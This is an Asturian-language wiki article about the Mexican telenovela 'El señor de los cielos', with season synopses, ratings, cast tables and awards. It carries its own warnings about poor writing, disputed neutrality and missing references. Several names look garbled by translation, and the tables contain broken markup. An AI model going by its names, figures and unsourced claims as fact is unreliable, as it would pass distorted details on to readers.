El señor de los cielos
 | Esti artículu o seición necesita un ameyoramientu no que cinca a la redaición, la gramática o la ortografía. |
 | Importante: Esta páxina ye sospechosa de nun respetar la neutralidá nel puntu de vista. Esti avisu nun ha quitase hasta que s'esclarie na páxina d'alderique la supuesta falta de neutralidá. |
| El señor de los cielos | |
|---|---|
| Datos | |
| Xéneru | telenovela y drama televisivu policiacu |
| País d'orixe |
 Méxicu |
| Idioma orixinal | castellanu |
| Númberu de temporaes | 9 |
| Llista de temporaes |
ver
|
| Númberu d'episodios | 796 |
| Llista d'episodios |
Anexo:Episodios de El Señor de los Cielos (es)  |
| Primer emisión | 15 d'abril de 2013 |
| Última emisión | 26 de xunu de 2024 |
| Emisora orixinal |
Telemundo Argos Media Group (es) |
| Productora | Telemundo |
| Distribuidora | Hulu |
 | |
El señor de los cielos (inglés: The Lord of the Skies)[1] ye una serie de televisión Méxicu-colombo-estauxunidense producida por Argos Comunicación, para Telemundo. Mientres la primer temporada viose tamién arreyada la cadena Caracol Televisión na producción.[2] Ye distribuyida internacionalmente por Telemundo Internacional. Ta escrita por Luis Zelkowicz y Mariano Calasso, basada nuna idea orixinal d'Andrés López. La serie narra les aventures y delitos que cometió'l mexicanu Amado Carrillo, que'l so nome camudar por Aurelio Casillas na telenovela.
El repartu principal ta conformáu por Rafael Amaya, Fernanda Castillo, Carmen Villalobos, Maritza Rodríguez, Marlene Favela, Gabriel Porres, Ximena Herrera, Raúl Méndez, Carmen Aub, Sabrina Seara, Marisela González, Alejandro López, Lisa Owen y Jesús More. Amás cunta coles participaciones antagóniques de Róbinson Díaz, Miguel Varoni, Mauricio Ochmann, Alberto Guerra, Tommy Vásquez, Leonardo Daniel, Sebastián Caicedo, Sara Corrolades, Emmanuel Esparza, Mariana Seoane, Francisco Gattorno, Isabella Castillo y Roberto Escobar. Cuenta coles actuaciones especiales de Guy Ecker, Ninel Conde, Carlos Bardem y Vanessa Villela.
Aurelio, llamáu el señor de los cielos, ye un narcotraficante mexicanu que dende bien pequeñu perdió al so padre, polo qu'él y el so hermanu tuvieron que salir alantre por sigo solos. Aurelio llogró infiltrar y apoderar al gobiernu mexicanu, convirtiéndose nel home con más dineru y poder en tou Méxicu. Al igual qu'asocede cola mayoría de les sos otres telenoveles, Telemundo tresmitió la telenovela con subtítulos n'inglés como closed caption (CC3).[3]
A la fin de la serie orixinal anuncióse segunda temporada pal 2014, mesma que foi grabada en Veracruz.[4] La serie cunta colos mesmos personaxes y repartu de la primer temporada, incorporándose al repartu principal Mauricio Ochmann, que na temporada anterior solo participó en tres episodios.[5]
El 22 d'abril de 2014, Telemundo llanzó una miniserie al traviés de la so sitiu web, titulada El señor de los cielos: capítulu secretu, constando esta de siete partes. Estrenóse'l 22 de mayu de 2014 a manera d'episodiu piloto pal estrenu de la segunda temporada de la serie.[6][7]
La serie convertir na producción de Telemundo con mayor audiencia en Méxicu na so emisión orixinal por dicha cadena.[8]
Tres los altos númberos d'audiencia ante l'estrenu de la sesta temporada, Telemundo anunció'l 10 de mayu de 2018 la confirmación pa una séptima temporada que va salir al aire en 2019.[9]
El señor de los cielos reinventa la vida y los tiempos de Carrillo Fuentes, un home que se convirtió nel xefe del Cártel de Juárez, con historia ambientada nos años noventa. Carrillo yera moteyáu como "El Señor de los Cielos", por cuenta de la gran flota d'aeronaves qu'utilizó pa tresportar la droga. Tamién foi conocíu pola llavadura de más de 200 millones de dólares al traviés de Colombia pa financiar la so enorme flota d'aviones. Descríbese-y como'l narcotraficante más poderosu de la so dómina. Carrillo morrió nel hospital Santa Mónica de la Ciudá de Méxicu en 1997, al intentar sometese a una estensa ciruxía plástica coles mires de camudar dafechu la so apariencia. Nos sos últimos díes, Carrillo taba siendo rastrexáu poles autoridaes mexicanes y estauxunidenses. Ta consideráu como unu de los homes más ricos y poderosos de la historia de los criminales, con un valor netu envaloráu de 25 000 millones de dólares.
Sinopsis
[editar | editar la fonte] | Esti artículu o seición necesita referencies qu'apaezan nuna publicación acreitada, como revistes especializaes, monografíes, prensa diaria o páxines d'Internet fiables. |
Primer temporada "El señor de los cielos"
[editar | editar la fonte]La telenovela narra la historia d'Aurelio Casillas (Rafael Amaya), unu de los narcotraficantes más importantes de Méxicu nos años 90. La única ambición d'Aurelio yera convertise nel narcotraficante más poderosu de Méxicu, ensin importa-y ser cautelosu y muncho menos llamativu. Llogró tener fortuna, muyeres, cases, edificios y casones ensin enforma esfuerciu. Cuando yera pequeñu, Aurelio nun sabía lleer nin escribir. Perdió al so padre dende mozu y tuvo que sostener a la so familia xunto col so hermanu Víctor Casillas (Raul Méndez). Cola ayuda de Daniel Jiménez Regueru "El Letrudo" (Juan Ríos), Aurelio aprendió a escribir y lleer. Ximena(Ximena Herrera), la muyer de la so vida y madre de les sos 3 fíos Heriberto (Ruy Senderos), Rutila (Carmen Aub) y Luz Marina (Gala Montes de Oca) vivió nel mundu del narcotráficu dende pequeña: el so padre, Don Cleto (Javier Díaz Dueñes), yera unu de los narcos más poderosos de la dómina. A los 15 años, ella conoz a Aurelio y namórase perdidamente d'él. En siguiendo creciendo y llograr fama y fortuna, Aurelio fai enemigu del Cártel de los Carbayos, nel cual la hermana menor de los Carbayos, Mónica Carbayos (Fernanda Castillo), remana les finances de los sos hermanos; sicasí, el so llau débil ye'l so secretu namoramientu faía a Aurelio. Ella despinta los sos sentimientos pa nun perder el control y nun ser ganada fácilmente polos sos enemigos. Cuando Aurelio asesina a los sos dos hermanos, Isidro (Guillermo Quintanilla) y Guadalupe (Marco Pérez) Mónica intenta vengase, pero solo pierde'l control sobre sí mesma y continua namorada d'Aurelio, ayudar coles sos crimines en delantre. Marco Mejía (Gabriel Porres), un policía de Méxicu que perdió al so padre por culpa d'Aurelio, llogra faer que la cara de Casillas seya reveláu pola prensa y medios noticiosos, que moteyáron-y "El Señor de los Cielos". Tres revelase la cara d'Aurelio, la policía y los sos enemigos empiecen a atacar la so organización pa quitar tol so poder. Dempués de dellos meses, Marco llogra faer cayer a Aurelio, espropiándo-y los sos terrenes, casones y xoyes. Aurelio, tres trate acorrexáu, decide faese una operación de cara, morriendo nuna camiya de hospital. A la fin, Heriberto cumple la promesa que-y fixo al so padre, antes de morrer, y matu a Marco Mejía.[10]
Segunda temporada "El regresu de la muerte"
[editar | editar la fonte]Toos creen que El señor de los cielos morrió naquella camiya d'hospital pero ye mentira. Agora Aurelio va tornar de la muerte a vengase de los qu'osaron traiciona-y. Aurelio Casillas vuelve pa buscar vengación de los sos enemigos cola ayuda de la so resucitada ya infrayable amante Mónica Carbayos y el so fiel hermanu Víctor "Chacorta" Casillas va buscar retomar el vuelu y recuperar la siella del Capo de Capos, pero'l nun ye l'únicu contendiente pos agora José María "El Chema" Venegas (Mauricio Ochmann) va buscar reclamar pa si esi títulu y unviar de nuevu al señor de los cielos a onde cree que ten de tar. Amás, agora la solitaria axente Leonor "La colombiana" Ballesteros (Carmen Villalobos) tendrá d'atrapar a Casillas ensin l'ayuda del so compañeru Marcos Mejía que foi asesináu por Heriberto Casillas y Chacorta. Ella va tener l'ayuda del Gobernador de Jalisco Pedro Nevárez (Irineo Álvarez), la so fía Victoria Nevárez (Marlene Favela) y el so home Ignacio Miravalle (Alejandro de la Madrid) y cola muerte del gobernador toos tendrán de tomar bandu del Chema o Aurelio pos dambos van empecipiar una carrera pa llegar a la presidencia de Jalisco y reclamar dichu territoriu, nuna historia de traxedies y muerte Aurelio tendrá d'enfrentar una guerra llarga, sangrienta y de gastadura pos cola muerte de la so amada Ximena, l'atentáu en contra del so sobrín Victor Casillas Jr. "El Chacortita" (Jorge Luis Moreno) a manes del Turráu (Sebastián Caicedo) qu'esti foi asesináu por Aurelio cubriendo a Tisories (Tommy Vásquez), el so amor fugaz por Victoria y cola solombra del Chema Venegas escorriéndo-y tendrá de retomar el vuelu al so preciáu cielu pero cola sorpresa de que la so fía Rutila va facer güelu del so peor enemigu.
Tercer temporada "La vengación del xefe"
[editar | editar la fonte]El Señor de los Cielos ta en prisión ensin saber si ye de día o de nueche siendo cutíu y torturáu diariamente polos soldaos de la marina comandados por Marcáu (Sebastián Ferrat) y Medardo (Alejandro Peniche), dos xenerales corruptos del cuerpu de seguridá de Rodrigo Rivero (Manuel Balbi) y sumáu al pagu que'l so rival El Chema punxo sobre la so cabeza. Pero Cuando l'ambiciosu axente de la CIA Tim Rowlings (Sergio Mur) ve una manera d'esguilar na Organización ufierta un tratu a Casillas: trabayar pa la llei, pero cola presión de la so familia amenazada, l'atentáu que sufre'l so sobrín Víctor Casillas Jr, la vida que lleva la so fía Rutila agora arreyada a Venegas quien con humildaciones y maltratos pagara'l preciu pola so vengación,[11] el so fíu y la so muyer Mónica Carbayos sitiaos en toa América y cola brutal muerte del so hermanu "Chacorta" tendrá de vencer y ser lliberáu a cualquier preciu. Pero l'axente Ballesteros dempués de ver lo difícil y el númberu de baxes que sufrió pa metelo presos nun vence, amás esto va desestabilizar pos empieza a sentir atraición por Casillas polo que tendrá de vencer y cola so nueva Familia la so amiga Julia Rowlings (Sandra Beltrán) y la so nueva pareya Omar Terán (Jesús Móre) tendrá de tornar en si y decidir que camín tien d'escoyer. Aurelio llibre y col regresu de vieyos conocíos como'l diputáu Silva (Juan Ignacio Aranda), Don Feyo Aguilera (Leonardo Daniel) y Lilo (Edgardo González) l'axente cubanu, y l'obligada entrada de la Tisories, l'hermanu ximielgu del Turráu Eleazar Yepes y xunto a la nueva xeneración de cabezaleres del narcotráficu SuperJavi (Alejandro López), Víctor Jr tendrá de lluchar en dos frentes l'agora exiliáu Marcáu que traicionó a Venegas y fundó'l so propiu grupu les Emes y el so vieyu rival el Xeneral Gárnica (Tomás Goros) salio de la carcel dempués d'asesinar a Ernesto Gamboa (Sahit Sosa) por ordenes de Venegas que va empecipiar una guerra llarga que va acabar col fin d'unu de los trés. Pero Aurelio nun ye l'únicu con problemes, pos Venegas va ver nuna encruciada ente l'amor que tien con Rutila, la desesperada llucha que lleva contra les Emes, la muerte del so Axente Andrews (Ari Sebastián Brickman) a manes de Victor, y la poca atención qu'empresta a los sos negocios causaren nel una mentalidá que lo fadrá zarapicar una y otra vez al grau de que terminara trabayando como nos sos entamos. Pero'l destín siempres da vueltes, l'apaición d'Esperanza Salvatierra (Sabrina Seara), la rivalidá que surde con Don Feyo por causa de la infidelidá de la so esposa La Condesa (Verónica Montes) y a últimos aires Mónica traicionar con Víctor que s'enfrentara al so tíu por causa de una decisión qu'Aurelio tomó namás que entrara al negociu, cola adicción de la so fía Luz Marina coles drogues y la so nueva enfermedá vera si ye capaz d'evitar que se-y caya'l cielu.
Cuarta temporada "Cara a la muerte"
[editar | editar la fonte]En Méxicu camuda de sexeniu y de gobiernu, pero esta vegada, detrás de los filos del poder tán les manes del criminal más arteru de la historia del país. Aurelio Casillas, acomuñáu con estrategues políticos, llogró asitiar a un títere de los sos aliaos nel sillón de los Pinos, algamando a la fin el sitiu que tanto naguó por: el visu del poder. Pero nesta temporada, nun va ser la llei sinón el so propiu cuerpu'l que-y pondrá llendes a les sos aspiraciones. Una dura enfermedá renal va obligar a recurrir a xente de la so sangre pa buscar un donante pal necesariu tresplante que-y salvará la vida. Al nun topar compatibilidá con nengún de los sos familiares cercanos, Aurelio tendrá de recurrir a esi llargu prontuario de conquistes amoroses que dexó regaes pel mundu, buscando dalgún fíu perdíu que pueda ser la so salvación. Y ellí va empezar otra historia, porque'l gran conflictu d'El Señor de los Cielos, dueñu y patrón de la tierra agora, nun va ser solo atopar descendientes, sinón enfrentar la crueldá y l'ambición que va afayar nesos homes que lleven el so propiu ADN, nuna desatamañada llucha por sobrevivir. Fuera, nesi mundu que yá Aurelio siente conquistáu políticamente, sigue la llucha pol manexu del negociu de la droga ente'l so sobrín Víctor, agora en rellación abierta con Mónica Carbayos, siempres en combinación cola dupla guerrilla colombiana / Cartelu de los Soles de los xenerales venezolanos y la llinia de producción del Chema Venegas, acomuñáu al Feyo Aguilera, Tisories y El Oficial (Christian Tappan), un nuevu capo qu'atropó tola producción de materia primo en Colombia, Ecuador y Perú pa obligar a toos a torase a los sos manexos. A ellos acomúñase Dalvio Navarrete "l'Inxenieru" (Plutarco Haza) un constructor de túneles na frontera colos Estaos Xuníos. Estos dos grupos en bracéu van entamar una feroz llucha que se va dar en bona parte en Colombia, por culpa de qu'en Méxicu, el títere impuestu por Aurelio Casillas na presidencia, declaró que la guerra entamada por Morejón a los cartelos, col nuevu gobiernu terminó. Aurelio va siguir llavando dineru per entemediu del so amante, la banquera Esperanza Salvatierra, incursionará n'otros negocios, como'l del petroleu, l'oru y l'uraniu, tou a peraltu nivel, mientres espera qu'apaeza'l donante del reñón que precisa pa volver tener una vida normal, y cuando paeciera tar a puntu de llogralo, surde un grupu de xente honesto de dellos países, que la van poner difícil armando una llucha descarnada contra la corrupción que xeneró Aurelio en tola rexón y a tou nivel. Nel planu amorosu d'Aurelio, amás de les madres de los fíos que regó pel mundu, y qu'apaecen cuando se ta determinando quién pue ser el posible donante, que van intentar alicar les cenices de la rellación que tuvieren con él nel pasáu, apaez otru personaxe que va poner a duldar a Aurelio na so decisión de siguir con Esperanza como amante fixa. Trátase d'Amparo Rojas (Maritza Rodríguez), la hermana de la finada Matilde Rojas (Sara Corrolades), la ex de Chacorta, que vieno protexer a Carlitos (Carlos D. Estrada), el fíu que Chacorta y Matilde procrearen na so tormentosa rellación. Amparo va axustar con Aurelio por que dexe en paz al so sobrín y a cambéu ella, como enfermera especialista en cuidos intensivos, dará-y sofitu en tol procesu del tresplante. Nesti procesu, Amparo va tresformar nuna especie d'Ángel de Guardar d'Aurelio y avanzada la historia, tendrá de decidir, de la mesma, si ta dispuesta o non a apurrir el so cuerpu y la so vida toa al restablecíu capo. Cuando tou paeciera tomar el so aldu y llograse una estabilidá total nel mundu de los negocios llegales ya illegales d'Aurelio, cuando paeciera que los sos enemigos políticos fueron toraos, cuando llimó les aspereces coles sos fíes y tou ta caminando nel planu de los ciños filial y amorosu, de la so propia redolada va venir el cataclismu que va destruyir por completu l'orde familiar y va poner a tolos miembros de la Cla Casillas a decidir ente Aurelio y Víctor, quien intenta destronar al so tíu como'l mayor criminal de la historia de Méxicu de tolos tiempos. Cuando Aurelio mata a Llechu Contreras, la so fía Emiliana (Vanessa Villela) decide vengase d'él y namoralo y matalo. Pero llueu cai na so propia trampa, y namórase d'él, una y bones Aurelio propón-y matrimoniu.
Quinta temporada "Empieza la cacería"
[editar | editar la fonte]Aurelio va desamarrar una vegada más una guerra en Méxicu, pero nesta ocasión nun va ser contra'l gobiernu, la DEA o otros cárteles… sinón contra la so propia familia. Dempués de que Emiliana llograra metese na vida d'Aurelio Casillas y de que los federales llograron alcontrar a los prófugos más famosos de la televisión, el futuru d'Aurelio y compañía paecía más negru que nunca. A lo anterior hai que suma-y que Mónica yá taba casada con Víctor, y que metanes la so boda, recibió un tiru que al paecer ye mortal y esta guerra agora si ye mundial y personal.
Sesta temporada "De cazador a fuxitivu"
[editar | editar la fonte]Aurelio Casillas, quien recuperó tola fortuna que perdió y finalmente siente la necesidá de retirase. Pero ye tiempu de retribución, l'odiu que semó desque vendió la so alma al demoniu del narcotráficu agora ta llamando a la so puerta cola cara y el sangre de les munches persones inocentes qu'él destruyó. Aurelio va entender que les sos riqueces son una ilusión, y que dempués de ser el gran cazador que yera, agora va convertise na presa. Les muyeres que maltrató, los homes que traicionó, les marionetes polítiques que punxo nel poder, ya inclusive los sos propios fíos van volver contra él. ¿Llegó'l momentu de qu'Aurelio pague polos sos pecaos?[12]
Receición
[editar | editar la fonte]Dellos medios de comunicación comentaron que les producciones llamaes "narconovelas" vienden antivalores y fomenten la violencia na sociedá.[ensin referencies] N'Arxentina, la serie llogró ente 7 y 9 punto promedio d'audiencia, ganando nel horariu de prime time. En Méxicu, la tresmisión de la serie por televisión abierta tresmitir por Gala TV, tresmitiéndose darréu pola canal de paga Unicable tamién de televisa. En Venezuela foi tresmitida por Venevisión plus, llogrando bona aceptación ente'l públicu.[13] En Perú, mientres la so primer selmana d'estrenu llogró bona receición n'audiencia.[14] Según la encuestadora Nielsen, la serie atraxo mayor cantidá de públicu que la población de Siberia, quedando nel segundu llugar de les telenoveles más vistes en tola historia de Telemundo dempués de La reina del sur, llogrando superar a Univision nel horariu de les 10pm/9c, horariu d'Estaos Xuníos.[15] La so otra cadena co-productora Caracol Televisión de Colombia emitió dende'l 5 de xineru de 2015 hasta'l 17 de xunu de 2015 nel horariu de les 11.00 pm la primer temporada, llegando en reemplazu de la telenovela La patrona , onde na mayoría de los sos capítulos superar la competencia (Secretos del paraísu). La segunda temporada estrenóse'l 22 de xunu de 2015 nel mesmu horariu.
Audiencia n'Estaos Xuníos
[editar | editar la fonte]El primer episodiu de la serie llogró 3.0 millones d'espectadores.[16] L'episodiu final de la primer temporada llogró 3.7 millones d'espectadores, convirtiéndose asina nuna de les telenoveles con más audiencia nel 2013 dientro del so horariu na canal Telemundo.[17]
| Temporaes | Episodios | Horariu | Tranmisión orixinal | Espectadores (en millones) | ||
|---|---|---|---|---|---|---|
| Estrenu | Final | Temporada en TV | ||||
| 1 | 74 | Llunes—Vienres 10pm/9c |
15 d'abril de 2013 | 5 d'agostu de 2013 | 2013 | 3.1[17] |
| 2 | 84 | 27 de mayu de 2014[18] | 22 de setiembre de 2014 | 2014 | 3.2[19] | |
| 3 | 104 | 21 d'abril de 2015 | 21 de setiembre de 2015 | 2015 | 3.3[20] | |
| 4 | 80 | 28 de marzu de 2016 | 18 de xunetu de 2016 | 2016 | 3.4[21] | |
| 5 | 95 | 20 de xunu de 2017 | 2 de payares de 2017 | 2017 | 3.5[22] | |
| 6 | 8 de mayu de 2018 | 2018 | ||||
Episodios
[editar | editar la fonte]Episodios d'El señor de los cielos
Repartu
[editar | editar la fonte]Repartu principal
[editar | editar la fonte]Antagonistes
Participaciones especiales| Actor | Personaxe | Temporaes | |||||
|---|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | ||
| Rafael Amaya | Aurelio Casillas "El señor de los cielos" |
||||||
| Fernanda Castillo | Mónica Carbayos Urdieta de Casillas † | ||||||
| Carmen Villalobos | Leonor Ballesteros Mireles de Miravalle / de Terán "La Colombiana" † |
||||||
| Maritza Rodríguez | Amparo Rojas | ||||||
| Carmen Aub | Rutila Casillas Letrán / Ruth Mėndez | ||||||
| Raúl Méndez[23] | Víctor Casillas "Chacorta" † |
||||||
| Sabrina Seara | Esperanza Salvatierra / Martha Rangel "La Venezolana" † |
||||||
| Alejandro López | El Super Javi | ||||||
| Lisa Owen | Doña Alba Casillas | ||||||
|
Omar Terán Carbayos |
|||||||
| Ximena Herrera | Ximena Letrán de Casillas † | ||||||
| Matías Novoa | Amado Leal "La Águila Azul"[24] | ||||||
| Marlene Favela | Victoria Nevárez "La Gober" † |
||||||
| Gabriel Porres | Marco Cartaxena Mejía † | ||||||
| Marisela González | Eunice Lara "La Felina" † |
||||||
| Róbinson Díaz | Miltón Jiménez "El Cabu" |
||||||
| Miguel Varoni | Leandro Quezada | ||||||
| Mauricio Ochmann[25] | José María Venegas Mendivil "El Chema" |
||||||
| Alberto Guerra | |||||||
| Tommy Vásquez | Álvaro José Pérez "La Tisories" |
||||||
| Leonardo Daniel | Alfredo Aguilera Toscano "El Don Feyo Aguilera" † |
||||||
| Sara Corrolades | Matilde Rojas de Casillas † | ||||||
| Emmanuel Esparza | Anthony / Antonio "Tony" Pastrana † | ||||||
| Mariana Seoane | María Isabel "Mabel" Castaño Vda. de Roberts / Ninón del Villar † | ||||||
| Francisco Gattorno | Gustavo Castro "Casasola" |
||||||
| Isabella Castillo | colspan="5"
style="background: #ececec; color: grey; vertical-align: middle; text-align: center; " class="table-na"| |
||||||
| Carlos Bardem | colspan="5"
style="background: #ececec; color: grey; vertical-align: middle; text-align: center; " class="table-na"| |
||||||
| Roberto Escobar | Jose Valdes | ||||||
| Guy Ecker | colspan="5"
style="background: #ececec; color: grey; vertical-align: middle; text-align: center; " class="table-na"| |
||||||
| Ninel Conde | Evelina | ||||||
| Maria Conchita Alonso | Nora Requena | ||||||
| Vanessa Villela | Emiliana Contreras † | ||||||
Repartu recurrente
[editar | editar la fonte]| Actores | Personaxe | Temporaes | ||||||
|---|---|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | |||
| Ivan Arana | Ismael Casilla Guerra | Recurrente | ||||||
| Plutarco Haza | Dalvio "L'Inxenieru" Navarrete | Recurrente | ||||||
| Jorge Luis Moreno | Víctor Casillas Jr. "El Chacortita" † | Recurrente | ||||||
| Manuel Balbi | Rodrigo Rivero Lanz † | Invitáu | Recurrente | |||||
| Christian Tappan | Gustavo "L'Oficial" Gaviria † | Recurrente | ||||||
| Sebastián Caicedo | "El Tostao" Yepes † | Recurrente | ||||||
| Eleazar Yepes † | Recurrente | |||||||
| Daniel Rascón | El Toru | Invitáu | Recurrente | |||||
| Fernando Banda | Agustín Chon "Vitamines" | Recurrente | ||||||
| José Juan Meraz | Ramón † | Recurrente | ||||||
| Alejandro Navarrete | El Zopilote | Recurrente | ||||||
| Karla Carrillo | Salma Vidal Fernández / Corina Saldaña | Especial | Recurrente | |||||
| Thali García | Berenice Afumada | Recurrente | ||||||
| Hugo Logan | Mauricio Santillanu | Recurrente | Recurrente | |||||
| Alejandro de la Madrid | Ignacio Miravalle † | Recurrente | ||||||
| Juan Ignacio Aranda |
colspan="1" style="background:#afa;color:black; text-align:center; vertical-align:middle;" | Recurrente |
Recurrente | ||||||
| Tomás Goros | Xeneral Antonio Garnica † | Recurrente | ||||||
| Terry Salinas | Maria Sol Aguilera "fía del El Feyo Aguilera" † | Recurrente | ||||||
| Fernando Noriega | Eutimio "Coloráu" Flores | Recurrente | ||||||
| Andres Parra | Pablo Escobar † | Recurrente | ||||||
| Erika de la Rosa | Fiscal Elsa Marín † | Recurrente | ||||||
| Dayana Garroz | Ambar Maldonado | Recurrente | ||||||
| Miguel Garza |
style="background: #ddddff" colspan="1" style="background:#afa;color:black; text-align:center; vertical-align:middle;" | Recurrente |
|||||||
| Fernando Solórzano | Don Óscar Cadena † | Recurrente | ||||||
| Guillermo Quintanilla | Isidro Carbayos Urdieta † | Recurrente | ||||||
| Arturo Barba | Alí Benjumea "El Turcu" † | Recurrente | ||||||
| Rodrigo Abed |
colspan="1" style="background:#afa;color:black; text-align:center; vertical-align:middle;" | Recurrente |
|||||||
| Sophie Gómez | Irina Borodin "La Rusa" † | Recurrente | ||||||
| Elsy Reyes | Carla Uzcátegui | Recurrente | ||||||
| Patricia Vico | Pilar Ortiz † | Recurrente | ||||||
| Juan Ríos | Xeneral Daniel Jiménez Regueru "El Letrudo" † | Recurrente | ||||||
| Lilo Durazo | La Neña † | Recurrente | ||||||
| Rafael Novoa | Raimundo Cabrera "El Duru" † | Recurrente | ||||||
| Jorge Luis Vázquez | Fabricio Ponce | Recurrente | ||||||
| Angélica Celaya | Eugenia Cases † | Recurrente | ||||||
| Marco Pérez | Guadalupe Carbayos Urdieta "Lupe" † | Recurrente | ||||||
| Rocío Verdejo | Doris de Jiménez | Recurrente | ||||||
| Fabián Peña | Jesús Llinares | Recurrente | ||||||
| Emmanuel Orenday | Gregorio Ponte † | Recurrente | ||||||
| Ruy Senderos | Heriberto Casillas Letrán † | Recurrente | ||||||
| Bianca Calderón | Roxana Mondragón | Recurrente | ||||||
| Ángel Cerlo | Xeneral Capo | Recurrente | ||||||
| Arnoldo Picazzo | Flavio Huerta | Recurrente | ||||||
| Jorge Zárate | Juan Villalobos † | Recurrente | ||||||
| Javier Díaz Dueñes | Don Anacleto "Cleto" Letrán † | Recurrente | ||||||
| Manuela González | Lorelay "Lay" Cadena † | Invitada | Recurrente | |||||
| Ari Brickman | Jeremy Andrews "El Güero de la DEA " † | Recurrente | ||||||
| Carlos Torres Torrija | Maximiliano "Max" Miravalle † | Recurrente | ||||||
| Surya Mcgregor | Cecilia de Miravalle † | Recurrente | ||||||
|
Santiago Echeverría † |
Recurrente | |||||||
| Miguel Melo | Víctor Casilla Ramos Jr. (mozu) † | Recurrente | ||||||
|
Ernesto Gamboa Sánchez † |
Recurrente | |||||||
| José Sedek |
colspan="4" style="background: #ececec; color: grey; vertical-align: middle; text-align: center; " class="table-na"| |
Recurrente | ||||||
| Leonardo Álvarez | Leonardo Venegas Castaño | Recurrente | ||||||
| Juan Luis Orendain | Padre Lázaro Sánchez † | Recurrente | ||||||
| Ausencio Cruz | José Antonio Gutiérrez Velarde "Pepe Johnson" † | Recurrente | ||||||
| Toño Muñíz | Coronel Marcelino Ramos | Recurrente | ||||||
| Irineo Álvarez | Lic. Pedro Nevárez † | Recurrente | ||||||
| Flavio Peniche | Mario Quintero "El Bigotes" † | Recurrente | ||||||
| Carlos Gascón | Iñaki Izarrieta | Recurrente | ||||||
| Sandra Díaz | Irma Veracierta † | Recurrente | ||||||
| Sergio Mur | Timothy "Tim" Rawlings † | Recurrente | ||||||
| Gala Montes | Luz Marina "Luzma" Casillas Letrán (Adolescente) | Recurrente | ||||||
| Paloma Ruiz de Alda | Helga | Recurrente | ||||||
| Carlos Mata | Juan Carlos Salvatierra | Recurrente | ||||||
| Daniel Martínez | Guillermo Colón | Recurrente | ||||||
| Juan Martín Jáuregui | Sebastián Almagro † | Recurrente | ||||||
| Ernesto Benjumea | Melquiades Soler "Clarixa" † | Recurrente | ||||||
| Catherina Cardozo | Giusepina "Pina" Cortini † | Recurrente | ||||||
| David Ponce | José Manrique "Skinny" | Recurrente | ||||||
|
Zoe † |
Recurrente | |||||||
| Alan Slim | Jaime Ernesto Rosales | Recurrente | ||||||
| Verónica Montes | Belén Guerrero d'Aguilera "La Condesa" † | Recurrente | ||||||
| Wendy de los Cobos | Aguasanta "La Tata" Guerra | Recurrente | ||||||
| Carlos Torres | Enrique Morejón | Recurrente | ||||||
| Sandra Itzel | Luciana Morejón Barraza | Recurrente | ||||||
| Marina de Tavira | Begoña Barraza de Morejon | Recurrente | Recurrente | |||||
| Sandra Beltrán | Julia Reyes de Rawlings † | Recurrente | ||||||
| Viviana Serna | Cristina Salgado † | Recurrente | ||||||
| Veronica Falcón | Mirta "Mirtita" Savedra de Fonz | Recurrente | ||||||
| Kfis Cifuentes | Arnulfo Sutamarchan † | Recurrente | ||||||
| Pedro González | Ahmed † | Recurrente | ||||||
| Bárbara Singer | Elisa Peña † | Recurrente | ||||||
| Edgardo González | Lilo Planes / Lisandro Otero † | Invitáu | Recurrente | |||||
| Ofelia Guiza | Diana | Invitáu | Recurrente | |||||
| Sebastián Ferrat | Juan Antonio Marcáu † | Recurrente | ||||||
| Sebastián Urdiales | Carlos "Carlitos" Casillas Coloraos | Recurrente | ||||||
| Fernando Sarfatti | Valentín Fons | Recurrente | ||||||
| Alejandro Peniche | Felipe Medardo † | Recurrente | ||||||
| Nestor Rodulfo | Coronel Camilo Jaramillo | Invitáu | Recurrente | |||||
| Alejandro Félix | "El Chatarreru" | Recurrente | ||||||
| Ligia Petit | Gloria | Recurrente | Recurrente | |||||
| Marco Zetina | Doctor Ricardo Monteverde † | Recurrente | ||||||
| Arnulfo Reyes | Benjamín "L'Espantu" † | Recurrente | ||||||
| Citlali Galindo | Mayra | Recurrente | ||||||
| Gabriel Coronel | Armando Pérez Ricard † | Recurrente | ||||||
| Roxana Chávez | Eva Ernestina Gallardo | Recurrente | ||||||
| Juan Manuel Mendoza | Velandia † | Invitáu | ||||||
| Pedro González | Ahmed † | Invitáu | ||||||
| Iván Tamayo | Embajador Jorge Elías Salazar † | Recurrente | ||||||
| Marco Treviño | Abel Terán † | Recurrente | ||||||
| Juan Pablo Franco | Reyes "El Reyesito" † | Recurrente | ||||||
| Lorena del Castillo | Oficial Evelyn García † | Recurrente | ||||||
| Carlos D. Estrada | Carlos Casillas Coloraos "Carlitos" (adolescente) | Recurrente | ||||||
| Franklin Virguez | Diosdado Carreño Arias † | Recurrente | ||||||
| Gerardo Taracena | El Xamán | Recurrente | ||||||
| Paloma Jiménez | Palombu Villareal † | Recurrente | ||||||
| Paola Arrioja | Carmen Ramírez † | Recurrente | ||||||
| Christian Satin | "El Rotu" | Recurrente | ||||||
| Geraldine Zinat | Amalia Ramírez | Recurrente | ||||||
| Diego de Tovar | Nicandro "Nicky" Casilla Limón † | Recurrente | ||||||
| Carlos Fonseca | Nazarenu Casillas Ramírez † | Recurrente | ||||||
| Ivonne Montero | Consuelo "Connie" Limón † | Recurrente | ||||||
| Francisco Calvillo | Rubén Saba † | Recurrente | ||||||
|
Pompeyo |
Recurrente | |||||||
| Daniela Zavala | Arelis Mendoza | Recurrente | ||||||
| Ofelia Medina | Lourdes de Cortenas † | Recurrente | ||||||
| Alzira Gil | Tema † | Recurrente | ||||||
| Gabriel Bonilla | Isidro Casilla Robles (neñu) | Recurrente | ||||||
| Louis Garcia | Isidro Casilla Robles (adultu) | Recurrente | ||||||
|
Teobaldo "El Topu" Galván † |
Recurrente | |||||||
| Ítalo Londero | Macario | Recurrente | ||||||
Premios y nominaciones
[editar | editar la fonte]| Añu | Premiu | Categoría | Nomaos | Resultáu |
|---|---|---|---|---|
| 2013 | Premios El to Mundu[26][27][28] | El
señor de los cielos |
Ganador | |
| Ximena
Ferrera |style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomada | ||||
| Róbinson
Diaz |
Ganador | |||
| Protagonista favorita | Fernanda Castillo | Nomada | ||
| La mala más bona | Sara Corral | Nomada | ||
| Meyor actriz de repartu Angélica Celaya | Nomada | |||
| Meyor actor de reparto | Raúl Méndez | Nomáu | ||
| La pareya perfecta | style="background:#fbb;color:black; text-align:center; vertical-align:middle;" | Nomaos | |||
| People n'Español[29][30] |
El señor de los cielos |
Nomada | ||
